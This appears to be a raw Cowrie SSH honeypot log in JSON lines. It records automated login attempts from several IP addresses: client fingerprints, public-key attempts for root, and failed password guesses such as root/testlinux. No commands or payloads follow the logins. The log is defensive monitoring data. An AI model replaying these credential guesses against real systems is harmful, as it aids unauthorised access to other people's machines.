{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.452713Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:7a:e9:3c:fa:90:18:6e:c3:9b:c5:0c:ac:8c:67:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6K3gxHns6iHlzTQu9xuQGATqyn2qJSqfviUeukAp7aTb+EfnlpkDUKpQX3HRPr7+qTQa1FufYmKwlO6xJBG3Q/QyHQ1yjUYOtPGnCZW+c+oK7l6yMD6dDhDroIsiXd7qD98w0+IZENA9HmL+BNk4zo3JGcv3nTFOOM5shcJWiNT16YGUhaJpulhCzePjuMDUJ8FC7IfmjCdpIXYnUS5U+IBw3Rqd2J1EUuktwP0eDtULV3bYnv/Hrcw+9Jwbr4gqzk+z7QI0IdS1hZ28wXoN/hWSUVt3r9drpjPqmg/iUFo6yO6sri5m5dGQr596DcctcZST87Zbhn1rPzRiBERcb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:7a:e9:3c:fa:90:18:6e:c3:9b:c5:0c:ac:8c:67:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.568139Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:7a:e9:3c:fa:90:18:6e:c3:9b:c5:0c:ac:8c:67:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6K3gxHns6iHlzTQu9xuQGATqyn2qJSqfviUeukAp7aTb+EfnlpkDUKpQX3HRPr7+qTQa1FufYmKwlO6xJBG3Q/QyHQ1yjUYOtPGnCZW+c+oK7l6yMD6dDhDroIsiXd7qD98w0+IZENA9HmL+BNk4zo3JGcv3nTFOOM5shcJWiNT16YGUhaJpulhCzePjuMDUJ8FC7IfmjCdpIXYnUS5U+IBw3Rqd2J1EUuktwP0eDtULV3bYnv/Hrcw+9Jwbr4gqzk+z7QI0IdS1hZ28wXoN/hWSUVt3r9drpjPqmg/iUFo6yO6sri5m5dGQr596DcctcZST87Zbhn1rPzRiBERcb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.571747Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:83:3a:1a:c6:f3:07:ea:d8:26:5e:73:9c:41:dd:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJx2lPTd+c0431LjkRQoXGII76R8xOOCuA2bIIw2TaeBNLLv3fz9cHnx2GghYBjf08ZtLJNmTQPw59CSHf/KIeVUfZjOhL8FYcktKWHx4v5j1ah//HFqr7kotdbJFoSDasMCuL745ktIiDYUsjP1++ad277QG/eU5w3rIOt8p8GdNd8j7y03eKVbAZNP8XDC89I55bGcZ/MB5IsqagTulcd+YM/yR7ufVu90EmgzKPUEOsIMgE7vEZgO1LjxKRJFGIgoZpsm274OoTpY9T56Etl0B+Au3vdKVtQVobb6aHgxHRgyw+og2Kqw3BTsx8usdOtguFuK3eWrK/kjop0lhh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:83:3a:1a:c6:f3:07:ea:d8:26:5e:73:9c:41:dd:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.599024Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:83:3a:1a:c6:f3:07:ea:d8:26:5e:73:9c:41:dd:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJx2lPTd+c0431LjkRQoXGII76R8xOOCuA2bIIw2TaeBNLLv3fz9cHnx2GghYBjf08ZtLJNmTQPw59CSHf/KIeVUfZjOhL8FYcktKWHx4v5j1ah//HFqr7kotdbJFoSDasMCuL745ktIiDYUsjP1++ad277QG/eU5w3rIOt8p8GdNd8j7y03eKVbAZNP8XDC89I55bGcZ/MB5IsqagTulcd+YM/yR7ufVu90EmgzKPUEOsIMgE7vEZgO1LjxKRJFGIgoZpsm274OoTpY9T56Etl0B+Au3vdKVtQVobb6aHgxHRgyw+og2Kqw3BTsx8usdOtguFuK3eWrK/kjop0lhh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.602246Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:56:8e:65:3f:5f:47:38:49:ca:9e:4c:7c:ec:2e:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sNJ+e0lDq7X5MzAdItMrZuOYyUco0f+VtnxOFDcL7VcLMK4L/SzS5TRSdbj4cTc+ivIWHQ5y/jmcQePG99GWNBwzsMeck5m2X5SLhkfQos4e6IoZY8CGW6y7rjU6OLFlip/OQTwDNHrlE4HFCt88g+ontr0B/IHeDDy0DBGjbTEcLjAxt/NBXTjszBvcRhjTc709KBnQjOlYNiH/5Z8qX+MDUvqI7r9GmMdoSfg9h8mryTkcwxJV6UN1u9uhOgbljNsJU2Ms8hoUNaBSQNtkJ4d5oePlrP02etFTKY95OrBZQew3EUaH8wJDoa/3gJpQC9rJeDuAtnUg9GwjeaWvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:56:8e:65:3f:5f:47:38:49:ca:9e:4c:7c:ec:2e:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.632033Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:56:8e:65:3f:5f:47:38:49:ca:9e:4c:7c:ec:2e:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1sNJ+e0lDq7X5MzAdItMrZuOYyUco0f+VtnxOFDcL7VcLMK4L/SzS5TRSdbj4cTc+ivIWHQ5y/jmcQePG99GWNBwzsMeck5m2X5SLhkfQos4e6IoZY8CGW6y7rjU6OLFlip/OQTwDNHrlE4HFCt88g+ontr0B/IHeDDy0DBGjbTEcLjAxt/NBXTjszBvcRhjTc709KBnQjOlYNiH/5Z8qX+MDUvqI7r9GmMdoSfg9h8mryTkcwxJV6UN1u9uhOgbljNsJU2Ms8hoUNaBSQNtkJ4d5oePlrP02etFTKY95OrBZQew3EUaH8wJDoa/3gJpQC9rJeDuAtnUg9GwjeaWvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.636412Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:76:19:ce:5f:19:cc:60:c8:6d:36:90:1f:53:c4:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvW9zcGuZ7d4V4aG9dRnE9q3y4IBe9qxa9e7LEb6TmkeOWRvzBJKbUP2/uAwh5h/i55+iBPFJoCNszfQt+62Sn/x3HSgVhPFxqEh5NRTkRFU9s8wmVqozmuYTpxjfIqYet+4mOWIcpvp29V8ZXQBN/aS2uj5C/SdhQ3LeVX1aXKSp0nXeKpGEX348+ZWVY02SfaVu6rxR0lPmmVHtNDOnPBSTsRm7LbUIl6swS7t9j0IM13DIpOPd5Be+BBG1VTHfetXs+51l+1wa3wurAXhng+jGXZEQPu8C40ao0hYrdHF0c4LNnB0zSxFAo/V4Gz/P6/gw7UrVm+A7rhWNsEyUd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:76:19:ce:5f:19:cc:60:c8:6d:36:90:1f:53:c4:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.686619Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:76:19:ce:5f:19:cc:60:c8:6d:36:90:1f:53:c4:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvW9zcGuZ7d4V4aG9dRnE9q3y4IBe9qxa9e7LEb6TmkeOWRvzBJKbUP2/uAwh5h/i55+iBPFJoCNszfQt+62Sn/x3HSgVhPFxqEh5NRTkRFU9s8wmVqozmuYTpxjfIqYet+4mOWIcpvp29V8ZXQBN/aS2uj5C/SdhQ3LeVX1aXKSp0nXeKpGEX348+ZWVY02SfaVu6rxR0lPmmVHtNDOnPBSTsRm7LbUIl6swS7t9j0IM13DIpOPd5Be+BBG1VTHfetXs+51l+1wa3wurAXhng+jGXZEQPu8C40ao0hYrdHF0c4LNnB0zSxFAo/V4Gz/P6/gw7UrVm+A7rhWNsEyUd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.689731Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:6c:72:aa:66:82:db:46:bf:e5:6d:33:5a:1d:c8:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYsGVdhrgeqS4/yiIBNML7vF9EnSEDPI+0ZXMSH5crypJEu++zawaDTxhZn8fIpRA1kwN31rrHPDC3rFLxc4zxjJdt0JkjkphgboIlvLydj1xBRaS3aV2zojhS/oBVxjEQYLd2TjwTmCopodRziY8bZKgLPkcp2TxQrCd13m9SDSZi2DcMVE70KO4UC+jvbmAjPWJqpO5b85Z4YqbxmU/z+cQ/KwtSVt+JBPO+2guKoFDlZaBIgk56rwbS2wQJecVWKOUDy3023kj1cL+kYhcOWIBIevX/LIthWFWbYTeOePeIyGMW6czROWTKN8TPTBs0qYyLEvsztiTTktDcDjSJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:6c:72:aa:66:82:db:46:bf:e5:6d:33:5a:1d:c8:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.719460Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:6c:72:aa:66:82:db:46:bf:e5:6d:33:5a:1d:c8:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYsGVdhrgeqS4/yiIBNML7vF9EnSEDPI+0ZXMSH5crypJEu++zawaDTxhZn8fIpRA1kwN31rrHPDC3rFLxc4zxjJdt0JkjkphgboIlvLydj1xBRaS3aV2zojhS/oBVxjEQYLd2TjwTmCopodRziY8bZKgLPkcp2TxQrCd13m9SDSZi2DcMVE70KO4UC+jvbmAjPWJqpO5b85Z4YqbxmU/z+cQ/KwtSVt+JBPO+2guKoFDlZaBIgk56rwbS2wQJecVWKOUDy3023kj1cL+kYhcOWIBIevX/LIthWFWbYTeOePeIyGMW6czROWTKN8TPTBs0qYyLEvsztiTTktDcDjSJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.723819Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:16:43.753595Z","src_ip":"191.101.33.115","session":"007d516b3e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":48418,"dst_ip":"159.203.135.109","dst_port":22,"session":"08f3f73611fd","protocol":"ssh","message":"New connection: 43.173.69.147:48418 (159.203.135.109:22) [session: 08f3f73611fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:09.786447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:09.791185Z","src_ip":"43.173.69.147","session":"08f3f73611fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:09.859650Z","src_ip":"43.173.69.147","session":"08f3f73611fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testlinux","message":"login attempt [root/testlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:10.164985Z","src_ip":"43.173.69.147","session":"08f3f73611fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:11.237521Z","src_ip":"43.173.69.147","session":"08f3f73611fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44106,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a0dc36eb7a","protocol":"ssh","message":"New connection: 2.57.122.208:44106 (159.203.135.109:22) [session: 85a0dc36eb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:15.153458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:15.317406Z","src_ip":"2.57.122.208","session":"85a0dc36eb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:15.423914Z","src_ip":"2.57.122.208","session":"85a0dc36eb7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:16.123417Z","src_ip":"2.57.122.208","session":"85a0dc36eb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:17.320962Z","src_ip":"2.57.122.208","session":"85a0dc36eb7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.136.42","src_port":53360,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce436d86c789","protocol":"ssh","message":"New connection: 170.238.136.42:53360 (10.17.0.5:22) [session: ce436d86c789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:22.843454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:22.848748Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:22.962642Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:7a:e9:3c:fa:90:18:6e:c3:9b:c5:0c:ac:8c:67:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6K3gxHns6iHlzTQu9xuQGATqyn2qJSqfviUeukAp7aTb+EfnlpkDUKpQX3HRPr7+qTQa1FufYmKwlO6xJBG3Q/QyHQ1yjUYOtPGnCZW+c+oK7l6yMD6dDhDroIsiXd7qD98w0+IZENA9HmL+BNk4zo3JGcv3nTFOOM5shcJWiNT16YGUhaJpulhCzePjuMDUJ8FC7IfmjCdpIXYnUS5U+IBw3Rqd2J1EUuktwP0eDtULV3bYnv/Hrcw+9Jwbr4gqzk+z7QI0IdS1hZ28wXoN/hWSUVt3r9drpjPqmg/iUFo6yO6sri5m5dGQr596DcctcZST87Zbhn1rPzRiBERcb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:7a:e9:3c:fa:90:18:6e:c3:9b:c5:0c:ac:8c:67:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.503946Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:7a:e9:3c:fa:90:18:6e:c3:9b:c5:0c:ac:8c:67:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6K3gxHns6iHlzTQu9xuQGATqyn2qJSqfviUeukAp7aTb+EfnlpkDUKpQX3HRPr7+qTQa1FufYmKwlO6xJBG3Q/QyHQ1yjUYOtPGnCZW+c+oK7l6yMD6dDhDroIsiXd7qD98w0+IZENA9HmL+BNk4zo3JGcv3nTFOOM5shcJWiNT16YGUhaJpulhCzePjuMDUJ8FC7IfmjCdpIXYnUS5U+IBw3Rqd2J1EUuktwP0eDtULV3bYnv/Hrcw+9Jwbr4gqzk+z7QI0IdS1hZ28wXoN/hWSUVt3r9drpjPqmg/iUFo6yO6sri5m5dGQr596DcctcZST87Zbhn1rPzRiBERcb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.507509Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:83:3a:1a:c6:f3:07:ea:d8:26:5e:73:9c:41:dd:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJx2lPTd+c0431LjkRQoXGII76R8xOOCuA2bIIw2TaeBNLLv3fz9cHnx2GghYBjf08ZtLJNmTQPw59CSHf/KIeVUfZjOhL8FYcktKWHx4v5j1ah//HFqr7kotdbJFoSDasMCuL745ktIiDYUsjP1++ad277QG/eU5w3rIOt8p8GdNd8j7y03eKVbAZNP8XDC89I55bGcZ/MB5IsqagTulcd+YM/yR7ufVu90EmgzKPUEOsIMgE7vEZgO1LjxKRJFGIgoZpsm274OoTpY9T56Etl0B+Au3vdKVtQVobb6aHgxHRgyw+og2Kqw3BTsx8usdOtguFuK3eWrK/kjop0lhh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:83:3a:1a:c6:f3:07:ea:d8:26:5e:73:9c:41:dd:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:17:23.620326Z","src_ip":"170.238.136.42","session":"ce436d86c789","protocol":"ssh"}
